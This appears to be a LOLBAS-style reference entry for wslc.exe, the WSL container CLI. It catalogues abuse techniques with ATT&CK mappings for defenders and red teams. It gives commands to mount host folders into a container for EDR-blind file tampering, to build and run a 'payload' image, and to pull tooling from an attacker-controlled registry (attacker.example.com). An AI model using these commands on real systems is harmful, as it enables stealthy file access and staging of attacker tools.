.. /wslc.exe
Star

Execute (CMD)
Download

Windows Subsystem for Linux container CLI. Builds, pulls, runs, and executes commands inside Linux (OCI) containers. Ships built-in with WSL and is also shipped as container.exe, a byte-for-byte copy (identical file hash) in the same directory. At the time of writing, available in pre-release of WSL (version 2.9.3 or higher), and requires ‘wsl –update –pre-release’ to install. More information available under https://learn.microsoft.com/en-us/windows/wsl/wsl-container

Paths:

Resources:

Acknowledgements:

Detections:

Execute

  1. Pulls (if not already present) and runs a throwaway Linux container, bind-mounts a host path (here the entire C: drive) into the container via virtiofs so the Linux payload can read, stage, or modify arbitrary host files while running outside host process visibility.

    wslc run --rm -it -v C:\Users:/host ubuntu:latest bash -c "{CMD}"
    Use case

    Read, stage, or tamper with arbitrary host files from an EDR-blind container whose host-side process tree is masked by the WSL VM worker.

    Privileges required
    User
    Operating systems
    Windows 11 (builds with WSL container support - public preview from 2026-06)
    ATT&CK® technique
    T1610
    Tags
    Execute: CMD
  2. Builds a Linux image from a local Containerfile on the host and runs it.

    wslc build -t payload .
    wslc run --rm payload
    
    Use case

    Build and run a container image on the host to execute baked-in payloads in an EDR-blind runtime.

    Privileges required
    User
    Operating systems
    Windows 11 (builds with WSL container support - public preview from 2026-06)
    ATT&CK® technique
    T1612
    Tags
    Execute: CMD

Download

  1. Pulls an arbitrary OCI image from a remote (potentially attacker-controlled) registry over the registry pull protocol.

    wslc pull attacker.example.com/tooling:latest
    Use case

    Ingress tool transfer - stage attacker tooling on the host as an OCI image via a registry pull.

    Privileges required
    User
    Operating systems
    Windows 11 (builds with WSL container support - public preview from 2026-06)
    ATT&CK® technique
    T1105